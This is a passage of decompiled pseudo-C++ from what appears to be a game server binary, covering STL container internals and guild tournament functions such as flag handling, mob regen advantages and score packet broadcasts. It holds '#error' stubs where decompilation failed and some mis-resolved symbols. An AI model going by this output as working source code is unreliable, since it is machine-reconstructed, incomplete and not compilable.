1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val); v9 = _Val; } if ( v9[1].second >= v3->first ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::_Insert( v4, (std::_Tree,std::allocator >,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (0045A140) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _First, std::_Tree,std::allocator >,0> >::iterator _Last) { std::_Tree,std::allocator >,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator >,0> >::iterator v5; // esi@1 std::_Tree,std::allocator >,0> > *v6; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator >,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator >,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator >,0> >::iterator j; // eax@7 std::_Tree,std::allocator >,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator >,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 21) ) { for ( i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 21); i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator >,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 21); j = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator>_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (0045A200) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, TickTimer *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // ecx@1 unsigned int v6; // edx@1 TickTimer *v7; // ebx@1 int v8; // eax@1 unsigned int v9; // ecx@2 signed int v10; // edx@3 unsigned int v11; // edi@4 int v12; // eax@6 int v13; // eax@11 int v14; // ecx@15 int v15; // eax@18 int v16; // ebx@22 TickTimer *v17; // ST18_4@22 int v18; // eax@22 int v19; // edi@24 TickTimer *v20; // ecx@27 std::vector >::iterator v21; // ebx@27 TickTimer *v22; // ecx@28 TickTimer *v23; // ST24_4@28 unsigned int v24; // edi@28 int v25; // [sp-Ch] [bp-28h]@1 TickTimer _Tmp; // [sp+0h] [bp-1Ch]@1 int *v27; // [sp+Ch] [bp-10h]@1 int v28; // [sp+18h] [bp-4h]@22 TickTimer *_Wherea; // [sp+24h] [bp+8h]@29 TickTimer *_Counta; // [sp+28h] [bp+Ch]@22 void *_Newvec; // [sp+2Ch] [bp+10h]@22 TickTimer *_Newveca; // [sp+2Ch] [bp+10h]@27 v4 = this; v5 = _Val->m_CurDelayTime; v6 = _Val->m_DelayTime; v7 = v4->_Myfirst; v8 = *(_DWORD *)&_Val->m_bEnable; v27 = &v25; _Tmp.m_CurDelayTime = v5; _Tmp.m_DelayTime = v6; *(_DWORD *)&_Tmp.m_bEnable = v8; if ( v7 ) { v10 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v7)) >> 32) >> 1; v9 = v10 + ((unsigned int)v10 >> 31); } else { v9 = 0; } v11 = _Count; if ( _Count ) { if ( v7 ) v12 = v4->_Mylast - v7; else v12 = 0; if ( 357913941 - v12 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v7 ) v13 = v4->_Mylast - v7; else v13 = 0; if ( v9 >= _Count + v13 ) { v20 = v4->_Mylast; v21 = _Where; _Newveca = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 12 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 12 * _Count)); std::_Copy_backward_opt( *(TickTimer **)&v21, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(TickTimer **)&v21, (TickTimer *)(*(_DWORD *)&v21 + 12 * _Count), &_Tmp); } else { std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( *(TickTimer **)&_Where, v20, (TickTimer *)(*(_DWORD *)&_Where + 12 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(12 * _Count)); v22 = v4->_Mylast; v23 = v4->_Mylast; v28 = 2; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 12, &_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (TickTimer *)v24; std::fill( *(TickTimer **)&_Where, (TickTimer *)(v24 - 12 * _Count), &_Tmp); } } else { if ( 357913941 - (v9 >> 1) >= v9 ) v14 = (v9 >> 1) + v9; else v14 = 0; if ( v7 ) v15 = v4->_Mylast - v7; else v15 = 0; if ( v14 < _Count + v15 ) v14 = _Count + std::vector>::size(v4); v16 = 12 * v14; _Newvec = operator new(12 * v14); v17 = v4->_Myfirst; v28 = 0; _Counta = std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( v17, *(TickTimer **)&_Where, (TickTimer *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v11, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( *(TickTimer **)&_Where, v4->_Mylast, &_Counta[v11], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v18 = (int)v4->_Myfirst; if ( v18 ) v18 = (signed int)((char *)v4->_Mylast - v18) / 12; v19 = v18 + v11; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (TickTimer *)((char *)_Newvec + v16); v4->_Mylast = (TickTimer *)((char *)_Newvec + 12 * v19); v4->_Myfirst = (TickTimer *)_Newvec; } } } //----- (0045A4C0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val) { std::vector > *v4; // ebx@1 TOURNAMENT_PLAYER_SCORE *v5; // ecx@1 unsigned int v6; // edi@2 signed int v7; // edx@3 int v8; // eax@6 int v9; // eax@11 int v10; // edi@15 int v11; // eax@18 void *v12; // eax@22 TOURNAMENT_PLAYER_SCORE *v13; // ecx@22 TOURNAMENT_PLAYER_SCORE *v14; // ecx@22 int v15; // eax@23 unsigned int v16; // esi@25 TOURNAMENT_PLAYER_SCORE *v17; // edx@26 TOURNAMENT_PLAYER_SCORE *v18; // eax@26 char *v19; // eax@29 TOURNAMENT_PLAYER_SCORE *v20; // ecx@30 std::vector >::iterator v21; // edi@30 TOURNAMENT_PLAYER_SCORE *v22; // ecx@31 TOURNAMENT_PLAYER_SCORE *v23; // ST24_4@31 unsigned int v24; // esi@31 int v25; // [sp-Ch] [bp-4Ch]@1 char *_Newvec; // [sp+0h] [bp-40h]@22 TOURNAMENT_PLAYER_SCORE _Tmp; // [sp+4h] [bp-3Ch]@1 unsigned int cookie; // [sp+2Ch] [bp-14h]@33 int *v29; // [sp+30h] [bp-10h]@1 int v30; // [sp+3Ch] [bp-4h]@22 TOURNAMENT_PLAYER_SCORE *_Wherea; // [sp+48h] [bp+8h]@32 TOURNAMENT_PLAYER_SCORE *_Valb; // [sp+50h] [bp+10h]@22 TOURNAMENT_PLAYER_SCORE *_Vala; // [sp+50h] [bp+10h]@30 v4 = this; memcpy(&_Tmp, _Val, sizeof(_Tmp)); v5 = this->_Myfirst; v29 = &v25; if ( v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } if ( _Count ) { if ( v5 ) v8 = v4->_Mylast - v5; else v8 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1249].esc_abstate.buffer[-v8 + 17774] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = v4->_Mylast; v21 = _Where; _Vala = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 40 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 40 * _Count)); std::_Copy_backward_opt( *(TOURNAMENT_PLAYER_SCORE **)&v21, _Wherea, _Vala, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(TOURNAMENT_PLAYER_SCORE **)&v21, (TOURNAMENT_PLAYER_SCORE *)(*(_DWORD *)&v21 + 40 * _Count), &_Tmp); } else { std::_Uninit_copy>( *(TOURNAMENT_PLAYER_SCORE **)&_Where, v20, (TOURNAMENT_PLAYER_SCORE *)(*(_DWORD *)&_Where + 40 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(40 * _Count)); v22 = v4->_Mylast; v23 = v4->_Mylast; v30 = 2; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 40, &_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (TOURNAMENT_PLAYER_SCORE *)v24; std::fill( *(TOURNAMENT_PLAYER_SCORE **)&_Where, (TOURNAMENT_PLAYER_SCORE *)(v24 - 40 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1249].esc_abstate.buffer[-(v6 >> 1) + 17774] >= v6 ) v10 = (v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) v10 = _Count + std::vector>::size(v4); v12 = operator new(40 * v10); v13 = v4->_Myfirst; _Newvec = (char *)v12; v30 = 0; _Valb = std::_Uninit_copy>( v13, *(TOURNAMENT_PLAYER_SCORE **)&_Where, (TOURNAMENT_PLAYER_SCORE *)v12, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, _Count, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(TOURNAMENT_PLAYER_SCORE **)&_Where, v4->_Mylast, &_Valb[_Count], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v14 = v4->_Myfirst; if ( v14 ) v15 = v4->_Mylast - v14; else v15 = 0; v16 = v15 + _Count; if ( v14 ) { v17 = v4->_Mylast; v18 = v4->_Myfirst; if ( v14 != v17 ) { do ++v18; while ( v18 != v17 ); } operator delete(v4->_Myfirst); } v19 = _Newvec; v4->_Myend = (TOURNAMENT_PLAYER_SCORE *)&_Newvec[40 * v10]; v4->_Mylast = (TOURNAMENT_PLAYER_SCORE *)&v19[40 * v16]; v4->_Myfirst = (TOURNAMENT_PLAYER_SCORE *)v19; } } __security_check_cookie(cookie); } //----- (0045A780) -------------------------------------------------------- #error "45A780: undefined or illegal type '#740' (funcsize=199)" //----- (0045A960) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(...) { void *v6; // esi@1 int v8; // [sp-Ch] [bp-24h]@1 void *v9; // [sp+0h] [bp-18h]@1 void *_Wherenode; // [sp+4h] [bp-14h]@1 int *v11; // [sp+8h] [bp-10h]@1 int v12; // [sp+14h] [bp-4h]@1 v11 = &v8; v6 = operator new(0x48u); _Wherenode = v6; v12 = 0; v9 = v6; LOBYTE(v12) = 1; if ( v6 ) std::_Tree_nod_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Node::_Node( (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Val) { GuildTournamentSystem::Gate *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->bIsUse = _Val->bIsUse; i->hFlagNumber = _Val->hFlagNumber; i->hGateNumber = _Val->hGateNumber; std::basic_string_std::allocator>::assign( &i->strunUseGateName, &_Val->strunUseGateName, 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( &i->strUseGateName, &_Val->strUseGateName, 0, 0xFFFFFFFFu); } } //----- (0045AA50) -------------------------------------------------------- void __cdecl std::fill(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { GuildTournamentSystem::AdvanMobItemRegenInfo *i; // esi@1 for ( i = _First; i != _Last; ++i ) { *(_QWORD *)&i->mapName.n3_name[0] = *(_QWORD *)&_Val->mapName.n3_name[0]; *(_DWORD *)&i->mapName.n3_name[8] = *(_DWORD *)&_Val->mapName.n3_name[8]; std::basic_string_std::allocator>::assign( &i->strGroupName, &_Val->strGroupName, 0, 0xFFFFFFFFu); i->AdvanIndex = _Val->AdvanIndex; } } //----- (0045AAA0) -------------------------------------------------------- int __thiscall GuildTournamentSystem::FlagInfo::operator_(int this, int a2) { int v2; // esi@1 v2 = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(this + 8), (std::basic_string,std::allocator > *)(a2 + 8), 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 36), (std::basic_string,std::allocator > *)(a2 + 36), 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 64), (std::basic_string,std::allocator > *)(a2 + 64), 0, 0xFFFFFFFFu); *(_DWORD *)(v2 + 92) = *(_DWORD *)(a2 + 92); *(_DWORD *)(v2 + 96) = *(_DWORD *)(a2 + 96); *(_DWORD *)(v2 + 100) = *(_DWORD *)(a2 + 100); *(_WORD *)(v2 + 104) = *(_WORD *)(a2 + 104); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 108), (std::basic_string,std::allocator > *)(a2 + 108), 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 136), (std::basic_string,std::allocator > *)(a2 + 136), 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 164), (std::basic_string,std::allocator > *)(a2 + 164), 0, 0xFFFFFFFFu); return v2; } //----- (0045AB50) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::Gate *_First, unsigned int _Count, GuildTournamentSystem::Gate *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::Gate *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp-Ch] [bp-20h]@1 GuildTournamentSystem::Gate *_Next; // [sp+0h] [bp-14h]@1 int *v9; // [sp+4h] [bp-10h]@1 int v10; // [sp+10h] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) GuildTournamentSystem::Gate::Gate(v5, _Val); --v6; ++v5; LOBYTE(v10) = 0; } } //----- (0045AC30) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::AdvanMobItemRegenInfo *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp-Ch] [bp-20h]@1 GuildTournamentSystem::AdvanMobItemRegenInfo *_Next; // [sp+0h] [bp-14h]@1 int *v9; // [sp+4h] [bp-10h]@1 int v10; // [sp+10h] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 ) { std::_Construct(v5, _Val); --v6; ++v5; } } //----- (0045ACD0) -------------------------------------------------------- GuildTournamentSystem::FlagInfo *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::FlagInfo *v4; // esi@1 GuildTournamentSystem::FlagInfo *v5; // edi@2 GuildTournamentSystem::FlagInfo *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { --v4; --v5; GuildTournamentSystem::FlagInfo::operator_((int)v5, (int)v4); } while ( v4 != _First ); result = v5; } return result; } //----- (0045AD10) -------------------------------------------------------- GuildTournamentSystem::FlagInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::FlagInfo *v5; // esi@1 GuildTournamentSystem::FlagInfo *v6; // edi@1 int v8; // [sp-Ch] [bp-20h]@1 GuildTournamentSystem::FlagInfo *_Next; // [sp+0h] [bp-14h]@1 int *v10; // [sp+4h] [bp-10h]@1 int v11; // [sp+10h] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) GuildTournamentSystem::FlagInfo::FlagInfo(v5, v6); ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (0045ADB0) -------------------------------------------------------- #error "45ADB0: undefined or illegal type '#325' (funcsize=149)" //----- (0045AF90) -------------------------------------------------------- void __thiscall GuildTournamentSystem::SendScorePacket::_SendScorePacket(GuildTournamentSystem::SendScorePacket *this) { GuildTournamentSystem::SendScorePacket *v1; // esi@1 v1 = this; if ( this->m_vecPlayerScores._Myfirst ) operator delete(this->m_vecPlayerScores._Myfirst); v1->m_vecPlayerScores._Myfirst = 0; v1->m_vecPlayerScores._Mylast = 0; v1->m_vecPlayerScores._Myend = 0; } //----- (0045AFC0) -------------------------------------------------------- #error "45AFC0: undefined or illegal type '#325' (funcsize=86)" //----- (0045B0A0) -------------------------------------------------------- #error "45B0A0: undefined or illegal type '#325' (funcsize=76)" //----- (0045B150) -------------------------------------------------------- #error "45B150: undefined or illegal type '#325' (funcsize=147)" //----- (0045B310) -------------------------------------------------------- #error "45B310: undefined or illegal type '#325' (funcsize=124)" //----- (0045B480) -------------------------------------------------------- #error "45B480: undefined or illegal type '#325' (funcsize=115)" //----- (0045B5B0) -------------------------------------------------------- #325 *__thiscall GuildTournamentSystem::GuildGroup::GetGuildMaster(GuildTournamentSystem::GuildGroup *this) { GuildTournamentSystem::GuildMemberInfo *v1; // eax@1 char *v2; // ecx@1 #325 *result; // eax@3 int v4; // edi@4 v1 = this->m_vecGuildMembers._Myfirst; v2 = (char *)&this->m_vecGuildMembers; if ( v1 && (*((_DWORD *)v2 + 2) - (signed int)v1) / 28 ) { v4 = *((_DWORD *)v2 + 1); if ( !v4 || !((*((_DWORD *)v2 + 2) - v4) / 28) ) std::vector>::_Xran((std::vector > *)v2); result = ShineObjectManager::som_GetObject(&shineobjmanager, *(_WORD *)v4); if ( !result || *(_DWORD *)(v4 + 4) ) result = 0; } else { result = 0; } return result; } //----- (0045B630) -------------------------------------------------------- #error "45B630: undefined or illegal type '#325' (funcsize=156)" //----- (0045B810) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::SetAdvan(GuildTournamentSystem::GuildGroup *this, GuildTournamentSystem::GuildGroup::Advantage *val) { int v2; // eax@1 unsigned int v3; // ebp@1 char *v4; // edi@1 int v5; // eax@2 int v6; // esi@4 unsigned int v7; // eax@6 int v8; // esi@6 const char *v9; // ecx@7 MobRegenClass::MobBreederGroup *v10; // ecx@9 const char *v11; // esi@11 ORToken v12; // [sp-14h] [bp-2Ch]@9 int v13; // [sp-10h] [bp-28h]@9 int v14; // [sp-Ch] [bp-24h]@9 int v15; // [sp-8h] [bp-20h]@9 int v16; // [sp-4h] [bp-1Ch]@9 GuildTournamentSystem::GuildGroup *v17; // [sp+10h] [bp-8h]@1 ORToken *v18; // [sp+14h] [bp-4h]@9 int vala; // [sp+1Ch] [bp+4h]@1 *(_DWORD *)&this->m_Advan.m_IsAdvan = *(_DWORD *)&val->m_IsAdvan; v2 = val->m_nLevel; v17 = this; this->m_Advan.m_nLevel = v2; v3 = 0; v4 = (char *)&this->m_vecAdenItemInfo; vala = 0; while ( 1 ) { v5 = *((_DWORD *)v4 + 1); if ( !v5 ) break; if ( v3 >= (*((_DWORD *)v4 + 2) - v5) / 44 ) break; v6 = *((_DWORD *)v4 + 1); if ( !v6 || (*((_DWORD *)v4 + 2) - v6) / 44 <= v3 ) std::vector>::_Xran((std::vector > *)v4); v7 = *(_DWORD *)(v6 + vala + 36); v8 = vala + v6; if ( v7 < 0x10 ) v9 = (const char *)(v8 + 16); else v9 = *(const char **)(v8 + 16); v18 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, v9, 0x14u); v10 = MobHatchery::mg_FindBreedGroup(mobhatchery, (Name3 *)v8, v12); if ( v10 ) { if ( v17->m_Advan.m_IsAdvan && *(_DWORD *)(v8 + 40) <= (unsigned int)v17->m_Advan.m_nLevel ) { MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(v10, 1); ++v3; vala += 44; } else { MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(v10, 0); ++v3; vala += 44; } } else { if ( *(_DWORD *)(v8 + 36) < 0x10u ) v11 = (const char *)(v8 + 16); else v11 = *(const char **)(v8 + 16); AssertClass::ac_AssertFail(&shineassert, "GuildTournamentSystem::GuildGroup Not Find BreedGroup :", v11); ++v3; vala += 44; } } } //----- (0045B970) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::SetFlagMultiple(GuildTournamentSystem::GuildGroup *this, int val) { char *v2; // eax@1 GuildTournamentSystem::GuildGroup *v3; // edi@1 unsigned int v4; // ebp@1 char *v5; // esi@1 int i; // ebx@1 int v7; // eax@2 int v8; // edi@4 void *v9; // edi@6 TickTimer *v10; // ecx@11 bool v11; // [sp-Ch] [bp-30h]@11 GuildTournamentSystem::GuildGroup *v12; // [sp+8h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@9 int v14; // [sp+20h] [bp-4h]@9 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 29938; v2[2] = val; v4 = 0; v12 = this; *(_DWORD *)(v2 + 3) = this->m_GuildNumber; v5 = (char *)&this->m_vecGuildMembers; for ( i = 0; ; i += 28 ) { v7 = *((_DWORD *)v5 + 1); if ( !v7 ) break; if ( v4 >= (*((_DWORD *)v5 + 2) - v7) / 28 ) break; v8 = *((_DWORD *)v5 + 1); if ( !v8 || (*((_DWORD *)v5 + 2) - v8) / 28 <= v4 ) std::vector>::_Xran((std::vector > *)v5); v9 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, *(_WORD *)(i + v8)); if ( v9 ) { AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 7); v14 = 0; ShineObjectClass::ShineObject::so_AllInMap(v9, (int)&alchat, 1); v14 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v3 = v12; break; } v3 = v12; ++v4; } v3->m_FlagMultiple = val; if ( val <= 1 ) { v11 = 0; v10 = &v3->m_FlagMultiplelTime; } else { PacketContainer::pcb_SetSocketSession((ORField *)&v3->m_FlagMultiplelTime, (ORColumnHeader *)0x258); v11 = 1; v10 = &v3->m_FlagMultiplelTime; } TickTimer::Enable(v10, v11); } //----- (0045BAB0) -------------------------------------------------------- #error "45BAB0: undefined or illegal type '#325' (funcsize=134)" //----- (0045BC20) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::SendScorePacket::SendtoAllinMap(GuildTournamentSystem::SendScorePacket *this, #325 *a2, int PartMask) { char *v3; // edi@1 PROTO_NC_GUILD_TOURNAMENT_SCORE_CMD *v4; // eax@1 int v5; // edi@1 char *v6; // ecx@1 int v7; // eax@1 unsigned int v8; // ebx@3 int v9; // esi@3 int v10; // eax@4 int v11; // ebp@6 int v12; // eax@8 bool result; // al@11 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@10 int v15; // [sp+1Ch] [bp-4h]@10 int PartMaska; // [sp+28h] [bp+8h]@3 v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29917; v4 = this->m_pPacket; v5 = (int)(v3 + 2); *(_BYTE *)v5 = v4->PartMask; *(_DWORD *)(v5 + 1) = v4->regNumber; *(_DWORD *)(v5 + 5) = v4->unAllScore; *(_DWORD *)(v5 + 9) = v4->unCaptureFlagCount; v6 = (char *)&this->m_vecPlayerScores; *(_DWORD *)(v5 + 13) = v4->unPlayerNum; v7 = *((_DWORD *)v6 + 1); if ( v7 ) v7 = (*((_DWORD *)v6 + 2) - v7) / 40; *(_DWORD *)(v5 + 13) = v7; v8 = 0; *(_BYTE *)v5 = PartMask; v9 = v5 + 25; PartMaska = -25 - v5; while ( 1 ) { v10 = *((_DWORD *)v6 + 1); if ( !v10 ) break; if ( v8 >= (*((_DWORD *)v6 + 2) - v10) / 40 ) break; v11 = *((_DWORD *)v6 + 1); if ( !v11 || (*((_DWORD *)v6 + 2) - v11) / 40 <= v8 ) std::vector>::_Xran((std::vector > *)v6); v12 = v11 + v9 + PartMaska; *(_DWORD *)(v9 - 8) = *(_DWORD *)(v9 + PartMaska + v11); *(_DWORD *)(v9 - 4) = *(_DWORD *)(v12 + 4); *(_DWORD *)v9 = *(_DWORD *)(v12 + 8); *(_DWORD *)(v9 + 4) = *(_DWORD *)(v12 + 12); *(_DWORD *)(v9 + 8) = *(_DWORD *)(v12 + 16); *(_DWORD *)(v9 + 12) = *(_DWORD *)(v12 + 20); *(_DWORD *)(v9 + 16) = *(_DWORD *)(v12 + 24); *(_DWORD *)(v9 + 20) = *(_DWORD *)(v12 + 28); *(_DWORD *)(v9 + 24) = *(_DWORD *)(v12 + 32); *(_DWORD *)(v9 + 28) = *(_DWORD *)(v12 + 36); ++v8; v9 += 40; } AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 40 * *(_DWORD *)(v5 + 13) + 19); v15 = 0; if ( a2 ) { ShineObjectClass::ShineObject::so_AllInMap((void *)a2, (int)&alchat, 1); v15 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); result = 1; } else { v15 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); result = 0; } return result; } //----- (0045BDD0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, 